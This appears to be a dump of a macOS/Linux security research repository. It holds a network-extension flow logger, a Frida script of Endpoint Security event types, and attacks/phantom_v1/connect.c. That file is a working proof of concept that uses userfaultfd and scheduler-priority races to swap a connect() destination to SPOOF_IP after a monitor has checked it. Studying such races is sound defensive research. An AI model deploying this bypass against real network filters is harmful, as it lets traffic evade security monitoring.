115 | static int get_policy(char p, int *policy) {
116 | switch (p) {
117 | case 'f':
118 | *policy = SCHED_FIFO;
119 | return 1;
120 | case 'r':
121 | *policy = SCHED_RR;
122 | return 1;
123 | case 'o':
124 | *policy = SCHED_OTHER;
125 | return 1;
126 | case 'i':
127 | *policy = SCHED_IDLE;
128 | return 1;
129 | default:
130 | return 0;
131 | }
132 | }
133 |
134 | static void display_sched_attr(int policy, struct sched_param *param) {
135 | printf(" policy=%s, priority=%d\n",
136 | (policy == SCHED_FIFO) ? "SCHED_FIFO" :
137 | (policy == SCHED_RR) ? "SCHED_RR" :
138 | (policy == SCHED_OTHER) ? "SCHED_OTHER" :
139 | (policy == SCHED_IDLE) ? "SCHED_IDLE" :
140 | "???",
141 | param->sched_priority);
142 | }
143 |
144 | static void display_thread_sched_attr(char *msg) {
145 | int policy, s;
146 | struct sched_param param;
147 |
148 | s = pthread_getschedparam(pthread_self(), &policy, ¶m);
149 | if (s != 0)
150 | handle_error_en(s, "pthread_getschedparam");
151 |
152 | printf("%s\n", msg);
153 | display_sched_attr(policy, ¶m);
154 | }
155 |
156 | void set_child_scheduling(pthread_attr_t* attr, int policy, int priority) {
157 | int s;
158 | struct sched_param param;
159 |
160 | param.sched_priority = priority;
161 |
162 | s = pthread_attr_setschedpolicy(attr, policy);
163 | if (s != 0)
164 | handle_error_en(s, "pthread_attr_setschedpolicy");
165 |
166 | s = pthread_attr_setschedparam(attr, ¶m);
167 | if (s != 0)
168 | handle_error_en(s, "pthread_attr_setschedparam");
169 |
170 | display_thread_sched_attr("Scheduler settings of main thread");
171 | printf("\n");
172 | }
173 |
--------------------------------------------------------------------------------
/NEDump/netext/ne_json.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | #include
8 |
9 | using json = nlohmann::json;
10 |
11 | constexpr std::array socket_type_names = {
12 | "SOCK_STREAM",
13 | "SOCK_DGRAM",
14 | "SOCK_RAW",
15 | "SOCK_RDM",
16 | "SOCK_SEQPACKET"
17 | };
18 |
19 | constexpr std::array socket_family_names = {
20 | "PF_UNSPEC",
21 | "PF_UNIX/PF_LOCAL",
22 | "PF_INET",
23 | "PF_IMPLINK",
24 | "PF_PUP",
25 | "PF_CHAOS",
26 | "PF_NS",
27 | "PF_ISO/PF_OSI",
28 | "PF_ECMA",
29 | "PF_DATAKIT",
30 | "PF_CCITT",
31 | "PF_SNA",
32 | "PF_DECnet",
33 | "PF_DLI",
34 | "PF_LAT",
35 | "PF_HYLINK",
36 | "PF_APPLETALK",
37 | "PF_ROUTE",
38 | "PF_LINK",
39 | "PF_XTP",
40 | "PF_COIP",
41 | "PF_CNT",
42 | "PF_RTIP",
43 | "PF_IPX",
44 | "PF_SIP",
45 | "PF_PIP",
46 | nullptr,
47 | "PF_NDRV",
48 | "PF_ISDN",
49 | "PF_KEY",
50 | "PF_INET6",
51 | "PF_NATM",
52 | "PF_SYSTEM",
53 | "PF_NETBIOS",
54 | "PF_PPP"
55 | };
56 |
57 | constexpr std::array socket_protocol_names = {
58 | "IPPROTO_IP",
59 | "IPPROTO_ICMP",
60 | "IPPROTO_IGMP",
61 | "IPPROTO_GGP",
62 | "IPPROTO_IPV4",
63 | nullptr,
64 | "IPPROTO_TCP",
65 | "IPPROTO_ST",
66 | "IPPROTO_EGP",
67 | "IPPROTO_PIGP",
68 | "IPPROTO_RCCMON",
69 | "IPPROTO_NVPII",
70 | "IPPROTO_PUP",
71 | "IPPROTO_ARGUS",
72 | "IPPROTO_EMCON",
73 | "IPPROTO_XNET",
74 | "IPPROTO_CHAOS",
75 | "IPPROTO_UDP",
76 | "IPPROTO_MUX",
77 | "IPPROTO_MEAS",
78 | "IPPROTO_HMP",
79 | "IPPROTO_PRM",
80 | "IPPROTO_IDP",
81 | "IPPROTO_TRUNK1",
82 | "IPPROTO_TRUNK2",
83 | "IPPROTO_LEAF1",
84 | "IPPROTO_LEAF2",
85 | "IPPROTO_RDP",
86 | "IPPROTO_IRTP",
87 | "IPPROTO_TP",
88 | "IPPROTO_BLT",
89 | "IPPROTO_NSP",
90 | "IPPROTO_INP",
91 | "IPPROTO_SEP",
92 | "IPPROTO_3PC",
93 | "IPPROTO_IDPR",
94 | "IPPROTO_XTP",
95 | "IPPROTO_DDP",
96 | "IPPROTO_CMTP",
97 | "IPPROTO_TPXX",
98 | "IPPROTO_IL",
99 | "IPPROTO_IPV6",
100 | "IPPROTO_SDRP",
101 | "IPPROTO_ROUTING",
102 | "IPPROTO_FRAGMENT",
103 | "IPPROTO_IDRP",
104 | "IPPROTO_RSVP",
105 | "IPPROTO_GRE",
106 | "IPPROTO_MHRP",
107 | "IPPROTO_BHA",
108 | "IPPROTO_ESP",
109 | "IPPROTO_AH",
110 | "IPPROTO_INLSP",
111 | "IPPROTO_SWIPE",
112 | "IPPROTO_NHRP",
113 | nullptr,
114 | nullptr,
115 | nullptr,
116 | "IPPROTO_ICMPV6",
117 | "IPPROTO_NONE"
118 | };
119 |
120 | constexpr std::array traffic_direction_names = {
121 | "NETrafficDirectionAny",
122 | "NETrafficDirectionInbound",
123 | "NETrafficDirectionOutbound"
124 | };
125 |
126 | void to_json(json& j, const NSString* s) {
127 | const char* utf8String = s.UTF8String;
128 | if (utf8String == nullptr) {
129 | j = nullptr;
130 | return;
131 | }
132 |
133 | j = json{ utf8String };
134 | }
135 |
136 | void to_json(json& j, const NSURL* u) {
137 | if (u == nullptr) {
138 | j = nullptr;
139 | return;
140 | }
141 |
142 | const char* utf8String = u.absoluteString.UTF8String;
143 | if (utf8String == nullptr) {
144 | j = nullptr;
145 | return;
146 | }
147 |
148 | j = json{ utf8String };
149 | }
150 |
151 | void to_json(json& j, const NWHostEndpoint* e) {
152 | if (e == nullptr) {
153 | j = nullptr;
154 | return;
155 | }
156 |
157 | const char* hostname = e.hostname.UTF8String;
158 | const char* port = e.port.UTF8String;
159 | if (hostname == nullptr || port == nullptr) {
160 | j = nullptr;
161 | return;
162 | }
163 |
164 | j = json{
165 | { "hostname", hostname },
166 | { "port", port }
167 | };
168 | }
169 |
170 | void to_json(json& j, const audit_token_t* t) {
171 | if (t == nullptr) {
172 | j = nullptr;
173 | return;
174 | }
175 |
176 | pid_t pid = audit_token_to_pid(*t);
177 | uid_t uid = audit_token_to_euid(*t);
178 |
179 | char path[PROC_PIDPATHINFO_MAXSIZE];
180 | proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE);
181 |
182 | struct passwd* pwd = getpwuid(uid);
183 | int pwd_name_len = 0;
184 | char pwd_name[256] = {0};
185 | if (pwd != nullptr) {
186 | strncpy(pwd_name, pwd->pw_name, strnlen(pwd->pw_name, 256));
187 | }
188 |
189 | j = json{
190 | { "pid", (int32_t)pid },
191 | { "path", path },
192 | { "uid", (uint32_t)uid },
193 | { "username", pwd_name }
194 | };
195 | }
196 |
197 | void to_json(json& j, const NEFilterSocketFlow* f) {
198 | j = json{
199 | { "direction", traffic_direction_names[(int)f.direction] },
200 | { "socketProtocol", socket_protocol_names[f.socketProtocol] },
201 | { "socketFamily", socket_family_names[f.socketFamily] },
202 | { "socketType", socket_type_names[f.socketType] },
203 | { "remoteHostname", f.remoteHostname },
204 | { "remoteEndpoint", (NWHostEndpoint*)f.remoteEndpoint },
205 | { "localEndpoint", (NWHostEndpoint*)f.localEndpoint },
206 | { "sourceApp", (audit_token_t*)f.sourceAppAuditToken.bytes },
207 | { "sourceProcess", (audit_token_t*)f.sourceProcessAuditToken.bytes }
208 | };
209 |
210 | if (f.URL != nil) {
211 | j["URL"] = f.URL;
212 | }
213 | }
214 |
--------------------------------------------------------------------------------
/attacks/phantom_v1/connect.c:
--------------------------------------------------------------------------------
1 | #include "include.h"
2 | #include "config.h"
3 |
4 | static volatile void write_ip_addr(struct sockaddr_in* serv_addr) {
5 | struct hostent* server = gethostbyname(SPOOF_IP);
6 | bcopy((char*)server->h_addr, (char*)&serv_addr->sin_addr.s_addr, server->h_length);
7 | }
8 |
9 | static void* fault_handler_thread(void* arg) {
10 | static struct uffd_msg msg;
11 | static int fault_cnt = 0;
12 | long uffd;
13 | static char* page = NULL;
14 | struct uffdio_copy uffdio_copy;
15 | ssize_t nread;
16 |
17 | uffd = (long) arg;
18 |
19 | set_affinity(VICTIM_CPU);
20 |
21 | if (page == NULL) {
22 | page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
23 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
24 | if (page == MAP_FAILED)
25 | handle_error_en(page, "mmap");
26 | }
27 |
28 | for (;;) {
29 | struct pollfd pollfd;
30 | int nready;
31 |
32 | pollfd.fd = uffd;
33 | pollfd.events = POLLIN;
34 |
35 | nready = poll(&pollfd, 1, -1);
36 | if (nready == -1)
37 | handle_error_en(nready, "poll");
38 |
39 | nread = read(uffd, &msg, sizeof(msg));
40 | if (nread == 0) {
41 | printf("EOF on userfaultfd!\n");
42 | exit(EXIT_FAILURE);
43 | }
44 |
45 | if (nread == -1)
46 | handle_error_en(nread, "read");
47 |
48 | if (msg.event != UFFD_EVENT_PAGEFAULT) {
49 | fprintf(stderr, "Unexpected event on userfaultfd\n");
50 | exit(EXIT_FAILURE);
51 | }
52 |
53 | uffdio_copy.src = (unsigned long) page;
54 | uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
55 | uffdio_copy.len = page_size;
56 | uffdio_copy.mode = 0;
57 | uffdio_copy.copy = 0;
58 |
59 | flush(page);
60 | sender();
61 |
62 | if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
63 | handle_error_en(-1, "ioctl-UFFDIO_COPY");
64 |
65 | printf(" (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
66 | }
67 | }
68 |
69 | FORCE_INLINE int nanosleep_helper(long nsec) {
70 | struct timespec req, rem;
71 | req.tv_sec = 0;
72 | req.tv_nsec = nsec;
73 |
74 | ssize_t ret;
75 |
76 | asm volatile
77 | (
78 | "syscall"
79 | : "=a" (ret)
80 | /* RDI RSI */
81 | : "0"(__NR_nanosleep), "D"(&req), "S"(&rem)
82 | : "rcx", "r11", "memory"
83 | );
84 | return ret;
85 | }
86 |
87 |
88 | static void* thread_start(void* arg) {
89 | set_affinity(ATTACK_CPU);
90 |
91 | receiver();
92 | write_ip_addr(page);
93 | flush(page);
94 |
95 | int s = mprotect((void* )page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
96 | if (s != 0) {
97 | handle_error_en(s, "mprotect");
98 | }
99 | return NULL;
100 | }
101 |
102 | void do_connect(struct sockaddr_in* serv_addr) {
103 | int sockfd, portno, n;
104 | struct hostent* server;
105 |
106 | char buffer[4096];
107 | char response[4096];
108 | portno = 80;
109 |
110 | sockfd = socket(AF_INET, SOCK_STREAM, 0);
111 |
112 | if (sockfd < 0) {
113 | perror("ERROR opening socket");
114 | exit(1);
115 | }
116 |
117 | server = gethostbyname(REAL_IP);
118 |
119 | if (server == NULL) {
120 | fprintf(stderr,"ERROR, no such host\n");
121 | exit(0);
122 | }
123 |
124 | bzero((char*) serv_addr, sizeof(*serv_addr));
125 | serv_addr->sin_family = AF_INET;
126 | bcopy((char*)server->h_addr, (char*)&serv_addr->sin_addr.s_addr, server->h_length);
127 | serv_addr->sin_port = htons(portno);
128 |
129 | printf("%d\n", serv_addr->sin_addr.s_addr);
130 | if (connect(sockfd, (struct sockaddr*)serv_addr, sizeof(*serv_addr)) < 0) {
131 | perror("****************** ERROR connecting: attack fail *********************");
132 | exit(1);
133 | }
134 |
135 | sprintf(buffer, "GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n", REAL_IP);
136 | n = write(sockfd, buffer, strlen(buffer));
137 | if (n < 0) {
138 | perror("ERROR writing to socket");
139 | exit(1);
140 | }
141 |
142 | bzero(response, 4096);
143 | while ((n = read(sockfd, response, 4095)) > 0) {
144 | printf("%s", response);
145 | bzero(response, 4096);
146 | }
147 | if (n < 0) {
148 | perror("ERROR reading from socket");
149 | exit(1);
150 | }
151 | }
152 |
153 | int main(int argc, char** argv) {
154 | int s;
155 | pthread_attr_t attr;
156 | pthread_t thread;
157 | struct sched_param param;
158 | int policy;
159 |
160 | set_affinity(VICTIM_CPU);
161 |
162 | page_size = sysconf(_SC_PAGE_SIZE);
163 | page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
164 | if (page == MAP_FAILED)
165 | handle_error_en(page, "mmap failure");
166 |
167 | s = userfaultfd_setup(page, 1);
168 | if (s < 0)
169 | handle_error_en(s, "userfaultfd_setup error");
170 |
171 | s = pthread_attr_init(&attr);
172 | if (s != 0)
173 | handle_error_en(s, "pthread_attr_init");
174 |
175 | int priority = PRIORITY_MAIN;
176 | param.sched_priority = priority;
177 | policy = SCHED_IDLE;
178 | s = pthread_setschedparam(pthread_self(), SCHED_IDLE, ¶m);
179 |
180 | int inheritsched = PTHREAD_EXPLICIT_SCHED;
181 | pthread_attr_setinheritsched(&attr, inheritsched);
182 | if (s != 0)
183 | handle_error_en(s, "pthread_attr_setinheritsched");
184 |
185 | priority = PRIORITY_OVERWRITE;
186 | policy = SCHED_RR;
187 | set_child_scheduling(&attr, policy, priority);
188 |
189 | s = pthread_create(&thread, NULL, &thread_start, NULL);
190 | if (s != 0)
191 | handle_error_en(s, "pthread_create");
192 |
193 | nanosleep_helper(NANOSLEEP_TIME);
194 |
195 | do_connect((struct sockaddr_in*)page);
196 | exit(EXIT_SUCCESS);
197 | }
198 |
--------------------------------------------------------------------------------
/NEDump/nedump.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "nedump.h"
5 |
6 | @implementation Extension
7 |
8 | -(void)toggleExtension:(NSUInteger)action reply:(void (^)(BOOL))reply
9 | {
10 | self.replyBlock = reply;
11 |
12 | OSSystemExtensionRequest* request = nil;
13 | if (action == ACTION_ACTIVATE) {
14 | NSLog(@"Activating extension...");
15 | request = [OSSystemExtensionRequest activationRequestForExtension:@EXT_BUNDLE_ID queue:dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)];
16 | }
17 | else {
18 | NSLog(@"Deactivating extension...");
19 | request = [OSSystemExtensionRequest deactivationRequestForExtension:@EXT_BUNDLE_ID queue:dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0)];
20 | }
21 |
22 | if (request == nil) {
23 | NSLog(@"ERROR: Failed to create request for extension");
24 | return;
25 | }
26 |
27 | request.delegate = self;
28 |
29 | [OSSystemExtensionManager.sharedManager submitRequest:request];
30 | }
31 |
32 | -(void)startNetworkExtension:(void (^)(BOOL))reply
33 | {
34 | __block NEFilterProviderConfiguration* config = nil;
35 |
36 | NSLog(@"Starting network extension...");
37 | [NEFilterManager.sharedManager loadFromPreferencesWithCompletionHandler:^(NSError* _Nullable error) {
38 | if (error != nil) {
39 | NSLog(@"ERROR: 'loadFromPreferencesWithCompletionHandler' failed with %@", error);
40 | reply(NO);
41 |
42 | return;
43 | }
44 |
45 | NSLog(@"Activating network extension...");
46 |
47 | config = [[NEFilterProviderConfiguration alloc] init];
48 | config.filterPackets = NO;
49 | config.filterSockets = YES;
50 | NEFilterManager.sharedManager.providerConfiguration = config;
51 | NEFilterManager.sharedManager.localizedDescription = @"NEDump";
52 | NEFilterManager.sharedManager.enabled = YES;
53 |
54 | [NEFilterManager.sharedManager saveToPreferencesWithCompletionHandler:^(NSError* _Nullable error) {
55 | if (error != nil) {
56 | NSLog(@"ERROR: 'saveToPreferencesWithCompletionHandler' failed with %@", error);
57 | reply(NO);
58 |
59 | return;
60 | }
61 |
62 | reply(YES);
63 | }];
64 | }];
65 |
66 | return;
67 | }
68 |
69 | #pragma mark -
70 | #pragma mark OSSystemExtensionRequest delegate methods
71 |
72 | -(OSSystemExtensionReplacementAction)request:(nonnull OSSystemExtensionRequest*)request actionForReplacingExtension:(nonnull OSSystemExtensionProperties*)existing withExtension:(nonnull OSSystemExtensionProperties*)ext
73 | {
74 | NSLog(@"Method '%s' invoked with %@, %@ -> %@", __PRETTY_FUNCTION__, request.identifier, existing.bundleShortVersion, ext.bundleShortVersion);
75 | return OSSystemExtensionReplacementActionReplace;
76 | }
77 |
78 |
79 | -(void)request:(nonnull OSSystemExtensionRequest*)request didFailWithError:(nonnull NSError*)error
80 | {
81 | NSLog(@"ERROR: Method '%s' invoked with %@, %@", __PRETTY_FUNCTION__, request, error);
82 | self.replyBlock(NO);
83 |
84 | return;
85 | }
86 |
87 | -(void)request:(nonnull OSSystemExtensionRequest*)request didFinishWithResult:(OSSystemExtensionRequestResult)result {
88 | NSLog(@"Method '%s' invoked with %@, %ld", __PRETTY_FUNCTION__, request, (long)result);
89 |
90 | if (result != OSSystemExtensionRequestCompleted) {
91 | NSLog(@"ERROR: Result %ld is an unexpected result for system extension request", (long)result);
92 | self.replyBlock(NO);
93 |
94 | return;
95 | }
96 |
97 | self.replyBlock(YES);
98 | }
99 |
100 | -(void)requestNeedsUserApproval:(nonnull OSSystemExtensionRequest*)request {
101 | NSLog(@"Method '%s' invoked with %@", __PRETTY_FUNCTION__, request);
102 | }
103 |
104 | @end
105 |
106 | @implementation LogMonitor
107 |
108 | -(BOOL)start:(NSPredicate*)predicate level:(NSUInteger)level eventHandler:(void(^)(OSLogEventProxy*))eventHandler
109 | {
110 | [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/LoggingSupport.framework"] load];
111 |
112 | Class LiveStream = NSClassFromString(@"OSLogEventLiveStream");
113 | if (LiveStream == nil)
114 | return NO;
115 |
116 | self.liveStream = [[LiveStream alloc] init];
117 | if (self.liveStream == nil)
118 | return NO;
119 |
120 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"setFilterPredicate:")] != YES)
121 | return NO;
122 |
123 | if (predicate != nil)
124 | [self.liveStream setFilterPredicate:predicate];
125 |
126 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"setInvalidationHandler:")] != YES)
127 | return NO;
128 |
129 | [self.liveStream setInvalidationHandler:^void (int reason, id streamPosition) {}];
130 |
131 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"setDroppedEventHandler:")] != YES)
132 | return NO;
133 |
134 | [self.liveStream setDroppedEventHandler:^void (id droppedMessage) {}];
135 |
136 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"setEventHandler:")] != YES)
137 | return NO;
138 |
139 | [self.liveStream setEventHandler:eventHandler];
140 |
141 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"activate")] != YES)
142 | return NO;
143 |
144 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"setFlags:")] != YES)
145 | return NO;
146 |
147 | [self.liveStream setFlags:level];
148 | [self.liveStream activate];
149 |
150 | return YES;
151 | }
152 |
153 | -(void)stop
154 | {
155 | if ([self.liveStream respondsToSelector:NSSelectorFromString(@"invalidate")] == YES) {
156 | if (self.liveStream != nil)
157 | [self.liveStream invalidate];
158 | }
159 | }
160 |
161 | @end
162 |
163 | int main(int argc, const char* argv[]) {
164 | NSPredicate* predicate = [NSPredicate predicateWithFormat:@"subsystem='nedump'"];
165 | LogMonitor* logMonitor = [[LogMonitor alloc] init];
166 | Extension* ext = [[Extension alloc] init];
167 |
168 | if (logMonitor == nil || ext == nil) {
169 | NSLog(@"ERROR: Failed to initialize log monitor or extension");
170 | return false;
171 | }
172 |
173 | [logMonitor start:predicate level:0 eventHandler:^(OSLogEventProxy* event) {
174 | printf("%s,\n", event.composedMessage.UTF8String);
175 | }];
176 |
177 | [ext toggleExtension:ACTION_ACTIVATE reply:^(BOOL toggled) {
178 | if (toggled == YES) {
179 | [ext startNetworkExtension:^(BOOL started) {
180 | if (started == YES) {
181 | NSLog(@"Network extension started successfully");
182 | }
183 | else {
184 | NSLog(@"ERROR: Failed to start network extension");
185 | }
186 | }];
187 | }
188 | }];
189 |
190 | [[NSRunLoop currentRunLoop] run];
191 |
192 | return 0;
193 | }
194 |
--------------------------------------------------------------------------------
/frida_scripts/es_subscribe.js:
--------------------------------------------------------------------------------
1 | // https://github.com/redcanaryco/mac-monitor/wiki/8.-Endpoint-Security-DYLIB#an-arbitrary-clients-event-subscriptions
2 |
3 | const ES_EVENT_TYPE = {
4 | ES_EVENT_TYPE_AUTH_EXEC: 0,
5 | ES_EVENT_TYPE_AUTH_OPEN: 1,
6 | ES_EVENT_TYPE_AUTH_KEXTLOAD: 2,
7 | ES_EVENT_TYPE_AUTH_MMAP: 3,
8 | ES_EVENT_TYPE_AUTH_MPROTECT: 4,
9 | ES_EVENT_TYPE_AUTH_MOUNT: 5,
10 | ES_EVENT_TYPE_AUTH_RENAME: 6,
11 | ES_EVENT_TYPE_AUTH_SIGNAL: 7,
12 | ES_EVENT_TYPE_AUTH_UNLINK: 8,
13 | ES_EVENT_TYPE_NOTIFY_EXEC: 9,
14 | ES_EVENT_TYPE_NOTIFY_OPEN: 10,
15 | ES_EVENT_TYPE_NOTIFY_FORK: 11,
16 | ES_EVENT_TYPE_NOTIFY_CLOSE: 12,
17 | ES_EVENT_TYPE_NOTIFY_CREATE: 13,
18 | ES_EVENT_TYPE_NOTIFY_EXCHANGEDATA: 14,
19 | ES_EVENT_TYPE_NOTIFY_EXIT: 15,
20 | ES_EVENT_TYPE_NOTIFY_GET_TASK: 16,
21 | ES_EVENT_TYPE_NOTIFY_KEXTLOAD: 17,
22 | ES_EVENT_TYPE_NOTIFY_KEXTUNLOAD: 18,
23 | ES_EVENT_TYPE_NOTIFY_LINK: 19,
24 | ES_EVENT_TYPE_NOTIFY_MMAP: 20,
25 | ES_EVENT_TYPE_NOTIFY_MPROTECT: 21,
26 | ES_EVENT_TYPE_NOTIFY_MOUNT: 22,
27 | ES_EVENT_TYPE_NOTIFY_UNMOUNT: 23,
28 | ES_EVENT_TYPE_NOTIFY_IOKIT_OPEN: 24,
29 | ES_EVENT_TYPE_NOTIFY_RENAME: 25,
30 | ES_EVENT_TYPE_NOTIFY_SETATTRLIST: 26,
31 | ES_EVENT_TYPE_NOTIFY_SETEXTATTR: 27,
32 | ES_EVENT_TYPE_NOTIFY_SETFLAGS: 28,
33 | ES_EVENT_TYPE_NOTIFY_SETMODE: 29,
34 | ES_EVENT_TYPE_NOTIFY_SETOWNER: 30,
35 | ES_EVENT_TYPE_NOTIFY_SIGNAL: 31,
36 | ES_EVENT_TYPE_NOTIFY_UNLINK: 32,
37 | ES_EVENT_TYPE_NOTIFY_WRITE: 33,
38 | ES_EVENT_TYPE_AUTH_FILE_PROVIDER_MATERIALIZE: 34,
39 | ES_EVENT_TYPE_NOTIFY_FILE_PROVIDER_MATERIALIZE: 35,
40 | ES_EVENT_TYPE_AUTH_FILE_PROVIDER_UPDATE: 36,
41 | ES_EVENT_TYPE_NOTIFY_FILE_PROVIDER_UPDATE: 37,
42 | ES_EVENT_TYPE_AUTH_READLINK: 38,
43 | ES_EVENT_TYPE_NOTIFY_READLINK: 39,
44 | ES_EVENT_TYPE_AUTH_TRUNCATE: 40,
45 | ES_EVENT_TYPE_NOTIFY_TRUNCATE: 41,
46 | ES_EVENT_TYPE_AUTH_LINK: 42,
47 | ES_EVENT_TYPE_NOTIFY_LOOKUP: 43,
48 | ES_EVENT_TYPE_AUTH_CREATE: 44,
49 | ES_EVENT_TYPE_AUTH_SETATTRLIST: 45,
50 | ES_EVENT_TYPE_AUTH_SETEXTATTR: 46,
51 | ES_EVENT_TYPE_AUTH_SETFLAGS: 47,
52 | ES_EVENT_TYPE_AUTH_SETMODE: 48,
53 | ES_EVENT_TYPE_AUTH_SETOWNER: 49,
54 | ES_EVENT_TYPE_AUTH_CHDIR: 50,
55 | ES_EVENT_TYPE_NOTIFY_CHDIR: 51,
56 | ES_EVENT_TYPE_AUTH_GETATTRLIST: 52,
57 | ES_EVENT_TYPE_NOTIFY_GETATTRLIST: 53,
58 | ES_EVENT_TYPE_NOTIFY_STAT: 54,
59 | ES_EVENT_TYPE_NOTIFY_ACCESS: 55,
60 | ES_EVENT_TYPE_AUTH_CHROOT: 56,
61 | ES_EVENT_TYPE_NOTIFY_CHROOT: 57,
62 | ES_EVENT_TYPE_AUTH_UTIMES: 58,
63 | ES_EVENT_TYPE_NOTIFY_UTIMES: 59,
64 | ES_EVENT_TYPE_AUTH_CLONE: 60,
65 | ES_EVENT_TYPE_NOTIFY_CLONE: 61,
66 | ES_EVENT_TYPE_NOTIFY_FCNTL: 62,
67 | ES_EVENT_TYPE_AUTH_GETEXTATTR: 63,
68 | ES_EVENT_TYPE_NOTIFY_GETEXTATTR: 64,
69 | ES_EVENT_TYPE_AUTH_LISTEXTATTR: 65,
70 | ES_EVENT_TYPE_NOTIFY_LISTEXTATTR: 66,
71 | ES_EVENT_TYPE_AUTH_READDIR: 67,
72 | ES_EVENT_TYPE_NOTIFY_READDIR: 68,
73 | ES_EVENT_TYPE_AUTH_DELETEEXTATTR: 69,
74 | ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR: 70,
75 | ES_EVENT_TYPE_AUTH_FSGETPATH: 71,
76 | ES_EVENT_TYPE_NOTIFY_FSGETPATH: 72,
77 | ES_EVENT_TYPE_NOTIFY_DUP: 73,
78 | ES_EVENT_TYPE_AUTH_SETTIME: 74,
79 | ES_EVENT_TYPE_NOTIFY_SETTIME: 75,
80 | ES_EVENT_TYPE_NOTIFY_UIPC_BIND: 76,
81 | ES_EVENT_TYPE_AUTH_UIPC_BIND: 77,
82 | ES_EVENT_TYPE_NOTIFY_UIPC_CONNECT: 78,
83 | ES_EVENT_TYPE_AUTH_UIPC_CONNECT: 79,
84 | ES_EVENT_TYPE_AUTH_EXCHANGEDATA: 80,
85 | ES_EVENT_TYPE_AUTH_SETACL: 81,
86 | ES_EVENT_TYPE_NOTIFY_SETACL: 82,
87 | ES_EVENT_TYPE_NOTIFY_PTY_GRANT: 83,
88 | ES_EVENT_TYPE_NOTIFY_PTY_CLOSE: 84,
89 | ES_EVENT_TYPE_AUTH_PROC_CHECK: 85,
90 | ES_EVENT_TYPE_NOTIFY_PROC_CHECK: 86,
91 | ES_EVENT_TYPE_AUTH_GET_TASK: 87,
92 | ES_EVENT_TYPE_AUTH_SEARCHFS: 88,
93 | ES_EVENT_TYPE_NOTIFY_SEARCHFS: 89,
94 | ES_EVENT_TYPE_AUTH_FCNTL: 90,
95 | ES_EVENT_TYPE_AUTH_IOKIT_OPEN: 91,
96 | ES_EVENT_TYPE_AUTH_PROC_SUSPEND_RESUME: 92,
97 | ES_EVENT_TYPE_NOTIFY_PROC_SUSPEND_RESUME: 93,
98 | ES_EVENT_TYPE_NOTIFY_CS_INVALIDATED: 94,
99 | ES_EVENT_TYPE_NOTIFY_GET_TASK_NAME: 95,
100 | ES_EVENT_TYPE_NOTIFY_TRACE: 96,
101 | ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE: 97,
102 | ES_EVENT_TYPE_AUTH_REMOUNT: 98,
103 | ES_EVENT_TYPE_NOTIFY_REMOUNT: 99,
104 | ES_EVENT_TYPE_AUTH_GET_TASK_READ: 100,
105 | ES_EVENT_TYPE_NOTIFY_GET_TASK_READ: 101,
106 | ES_EVENT_TYPE_NOTIFY_GET_TASK_INSPECT: 102,
107 | ES_EVENT_TYPE_NOTIFY_SETUID: 103,
108 | ES_EVENT_TYPE_NOTIFY_SETGID: 104,
109 | ES_EVENT_TYPE_NOTIFY_SETEUID: 105,
110 | ES_EVENT_TYPE_NOTIFY_SETEGID: 106,
111 | ES_EVENT_TYPE_NOTIFY_SETREUID: 107,
112 | ES_EVENT_TYPE_NOTIFY_SETREGID: 108,
113 | ES_EVENT_TYPE_AUTH_COPYFILE: 109,
114 | ES_EVENT_TYPE_NOTIFY_COPYFILE: 110,
115 | ES_EVENT_TYPE_NOTIFY_AUTHENTICATION: 111,
116 | ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED: 112,
117 | ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED: 113,
118 | ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOGIN: 114,
119 | ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOGOUT: 115,
120 | ES_EVENT_TYPE_NOTIFY_LW_SESSION_LOCK: 116,
121 | ES_EVENT_TYPE_NOTIFY_LW_SESSION_UNLOCK: 117,
122 | ES_EVENT_TYPE_NOTIFY_SCREENSHARING_ATTACH: 118,
123 | ES_EVENT_TYPE_NOTIFY_SCREENSHARING_DETACH: 119,
124 | ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGIN: 120,
125 | ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGOUT: 121,
126 | ES_EVENT_TYPE_NOTIFY_LOGIN_LOGIN: 122,
127 | ES_EVENT_TYPE_NOTIFY_LOGIN_LOGOUT: 123,
128 | ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD: 124,
129 | ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE: 125,
130 | ES_EVENT_TYPE_NOTIFY_PROFILE_ADD: 126,
131 | ES_EVENT_TYPE_NOTIFY_PROFILE_REMOVE: 127,
132 | ES_EVENT_TYPE_NOTIFY_SU: 128,
133 | ES_EVENT_TYPE_NOTIFY_AUTHORIZATION_PETITION: 129,
134 | ES_EVENT_TYPE_NOTIFY_AUTHORIZATION_JUDGEMENT: 130,
135 | ES_EVENT_TYPE_NOTIFY_SUDO: 131,
136 | ES_EVENT_TYPE_NOTIFY_OD_GROUP_ADD: 132,
137 | ES_EVENT_TYPE_NOTIFY_OD_GROUP_REMOVE: 133,
138 | ES_EVENT_TYPE_NOTIFY_OD_GROUP_SET: 134,
